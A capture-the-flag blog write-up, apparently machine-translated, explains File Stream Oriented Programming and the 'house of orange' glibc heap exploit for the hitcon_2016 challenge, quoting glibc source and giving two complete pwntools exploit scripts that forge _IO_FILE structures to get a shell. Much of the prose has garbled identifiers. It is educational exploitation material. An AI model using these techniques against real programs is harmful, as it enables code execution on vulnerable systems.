IO_FILE-FSOP,house of orange

Posted by purplehaze on Wed, 19 Jan 2022 21:24:46 +0100

FSOP is the abbreviation of File Stream Oriented Programming. All_ IO_ The file structure is_ The chain field is connected to form a linked list_ IO_list_all to maintain. The core idea of FSOP is hijacking_ IO_list_all to forge the linked list and its_ IO_FILE entry. In addition to forging data, another point is to find a way to execute. FSOP selects to trigger an error to get the shell.

The function used is malloc_printerr

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

You can see malloc_printerr called again__ libc_message function, continue to follow up

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
............
va_end (ap); if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } }

Discover__ libc_message calls the abort() function to end the process

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it's for sure we are alone.  But recursive calls are possible.  */

  /* Unlock SIGABRT.  */
  if (stage == 0)
    {
      ++stage;
      if (__sigemptyset (&sigs) == 0 &&
      __sigaddset (&sigs, SIGABRT) == 0)
    __sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
    }

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

  /* Send signal which possibly calls a user handler.  */
  if (stage == 2)
...........

The abort() function calls fflush(NULL) again

#define fflush(s) _IO_fflush (s)

Fflush is defined by macro as_ IO_fflush

_IO_fflush (_IO_FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();

_ IO_fflush will execute again_ IO_flush_all ()

int
_IO_flush_all (void)
{
  /* We want locking.  */
  return _IO_flush_all_lockp (1);
}
libc_hidden_def (_IO_flush_all)

_ IO_flush_all() continues again_ IO_flush_all_lockp()

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
...........
_ IO_flush_all_lockp will_ IO_list_all as the chain header, and the current node as the_ IO_ Parameter of overflow.
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
_ IO_OVERFLOW is the fourth item in vtable.
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
We know IO_FILE The structure of the is as follows

struct
_IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };

I can use it here_ The chain field (offset of x64 is 0x68) connects the next structure to form a one-way linked list.

 

The most classic example of FSOP should be house of orange. The following is with the help of house of orange_ hitcon_ 2016 FSOP

However, house of orange is divided into two parts. The first part is to realize the effect of free without free function, and the other part is FSOP

Let's talk about the previous part first

When the requested heap block size is larger than the top chunk size, sysmalloc will be called for allocation

 

 /*
     If have mmap, and the request size meets the mmap threshold, and
     the system supports mmap, and there are few enough currently
     allocated mmapped regions, try to directly map this request
     rather than expanding top.
   */

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
      && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/

    try_mmap:

If the request size is > (unsigned long) (mp_. mmap_threshold), a piece of memory will be directly mmap out.

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));
............
          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }

The other is to put the original top chunk free into the unsorted bin first. However, several conditions should be met:

1,(unsigned long) (old_size) >= MINSIZE

2, prev_inuse (old_top) = 1

3, ((unsigned long) old_end & (pagesize - 1)) == 0)

Therefore, we can reduce the size of the top chunk through overflow, and pay attention to the memory page alignment.

We can also leak libc by add ing a large bin heap_ base , heap_ base.

 

 

Now is the FSOP of the latter part

We can use unsorted bin attack to hijack_ IO_list_all points to main_ The location of arena + 88, but its content is beyond our control, so we regard it as_ IO_FILE structure, using his_ Chain field to point to our controllable memory, main_arena + 88 + 0x68 = main_arena + 0xC0, where the first chunk address of a small bin with a size of 0x60 is stored. Therefore, we change the size of the unsorted bin to 0x60, and then when the unsorted bin traversal occurs, the unsorted bin will be linked to main_ At arena + 0xc0. We change the first parameter of fp to / bin / Sh \ X00, VTable - >_ IO_ Overflow can be changed to the system function. And main_ fp - > at Arena_ If the mode value does not meet the requirements, it will pass_ The chain jumps to our next structure, that is, the data we just forged.

But we have to bypass the check:

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

 

There are two methods:

First: 1 fp->_ mode <= 0 && fp->_ IO_ write_ ptr > fp->_ IO_ write_ base

Second: 1_ IO_ vtable_ offset (fp) == 0 && _ IO_ vtable_ offset (fp) == 0 && fp->_ wide_ data->_ IO_ write_ ptr > fp->_ wide_ data->_ IO_ write_ base

 

I choose to meet the first condition.

Of course, I want to meet the second one_ wide_ Change the value of data to fp - 0x8 -0x8 = fp - 0x10, because FP - >_ IO_ read_ end > fp->_ IO_ read_ ptr

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
#endif
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

Attach exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'1')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name :')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

def show():
    s.recvuntil(b'Your choice : ')
    s.sendline(b'2')

def edit(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'3')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name:')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)

add(0x1000 ,b'b')
add(0x400 ,b'c')

show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base))
edit(0x10 ,b'd'*0x10)
show()
s.recvuntil(b'd'*0x10)
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success(hex(heap_base))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']

fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr  fp->_IO_write_ptr > _IO_write_base
fsop = fsop.ljust(0xd8,b'\x00')

vtable_addr = heap_base + 0x4f0 + 0xd8 + 0x8

fsop+= p64(vtable_addr)
fsop+= p64(0) #__dummy
fsop+= p64(0) #__dummy2
fsop+= p64(0) #__finish
fsop+= p64(system_addr) #_IO_OVERFLOW

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop
gdb.attach(s)
edit(len(payload),payload)
s.recv()
#gdb.attach(s)

s.interactive()

The above is the house of orange in 2.23. However, due to the addition of vtable check in glibc in 2.24, this method of forging virtual tables is no longer feasible, but new utilization methods have also emerged. And it is more compatible and simpler to use.

Let's take a look at the vtable check added in glibc 2.24.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

Will check whether vtable is in__ start___libc_IO_vtables and__ stop___ libc_ IO_ Between VTables. Therefore, our previous method of arbitrarily forging vtable failed. With the emergence of a new utilization method, and use the address in vtable as the address of vtable. Two structures can be used:_ IO_str_jumps or_ IO_wstr_jumps, they'll call_ IO_str_overflow .

We're here_ IO_str_jumps as an example_ IO_str_jumps function table:

pwndbg> p _IO_str_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7f5e537abfb0 <_IO_str_finish>,
  __overflow = 0x7f5e537abc90 <__GI__IO_str_overflow>,
  __underflow = 0x7f5e537abc30 <__GI__IO_str_underflow>,
  __uflow = 0x7f5e537aa610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7f5e537abf90 <__GI__IO_str_pbackfail>,
  __xsputn = 0x7f5e537aa640 <__GI__IO_default_xsputn>,
  __xsgetn = 0x7f5e537aa720 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7f5e537ac0e0 <__GI__IO_str_seekoff>,
  __seekpos = 0x7f5e537aaa10 <_IO_default_seekpos>,
  __setbuf = 0x7f5e537aa940 <_IO_default_setbuf>,
  __sync = 0x7f5e537aac10 <_IO_default_sync>,
  __doallocate = 0x7f5e537aaa30 <__GI__IO_default_doallocate>,
  __read = 0x7f5e537abae0 <_IO_default_read>,
  __write = 0x7f5e537abaf0 <_IO_default_write>,
  __seek = 0x7f5e537abac0 <_IO_default_seek>,
  __close = 0x7f5e537aac10 <_IO_default_sync>,
  __stat = 0x7f5e537abad0 <_IO_default_stat>,
  __showmanyc = 0x7f5e537abb00 <_IO_default_showmanyc>,
  __imbue = 0x7f5e537abb10 <_IO_default_imbue>
}

Let's take a look at one of them_ IO_str_finish function

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

We can see that if the conditions are met, this function will (_io_strfile *) FP) - >_ s._ free_ Buffer) is called directly as a function pointer, and FP - >_ IO_buf_base as his parameter. (_IO_strfile *) fp)->_ s._ free_ Buffer) from IDA analysis or gdb debugging, it can be seen that it is actually the position of fp + 0xe8 #. Let's change the value of vtable to_ IO_srt_jums - 0x10, put fp + 0xe8 on system_ IO_buf_base put the address of / bin/sh to get the shell. Since there is no need to forge virtual tables, there is no need to disclose heap_base. It is worth noting that_ IO_ str_ Instead of exporting symbols, I chose to use gdb directly to see its offset.

Attach exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'1')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name :')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

def show():
    s.recvuntil(b'Your choice : ')
    s.sendline(b'2')

def edit(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'3')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name:')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)

add(0x1000 ,b'b')
add(0x400 ,b'c')

show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
_IO_strn_jumps = libc_base + 0x3c37a0
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0)          #write base
fsop+= p64(1)          #write ptr  fp->_IO_write_ptr > fp->_IO_write_base
fsop+= p64(0)          #write end
fsop+= p64(binsh_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(_IO_strn_jumps - 0x8) #vtable
fsop+= p64(0) #_IO_FILE + 0xE8
fsop+= p64(system_addr)

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop

edit(len(payload),payload)
s.recv()
#gdb.attach(s)

s.interactive()

This is the method from 2.24 to 2.26. Of course, it can also be used before 2.24. Since abort() will not be called to end the process after 2.27, other methods will be found in versions after 2.26.

In addition, the success rate of house of orange is only 1 / 2, because only when the lower 32 bits of libc base address are negative (and > 0x80000000), the first step will be skipped, and the second step will enter the link we just arranged.

 

Reference link:

https://www.anquanke.com/post/id/87194

https://zhuanlan.zhihu.com/p/53633514

https://zhuanlan.zhihu.com/p/53633514

https://blog.csdn.net/qq_39153421/article/details/115327308

http://t.zoukankan.com/luoleqi-p-13419069.html

https://blog.csdn.net/A951860555/article/details/116425824

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

 

Topics: CTF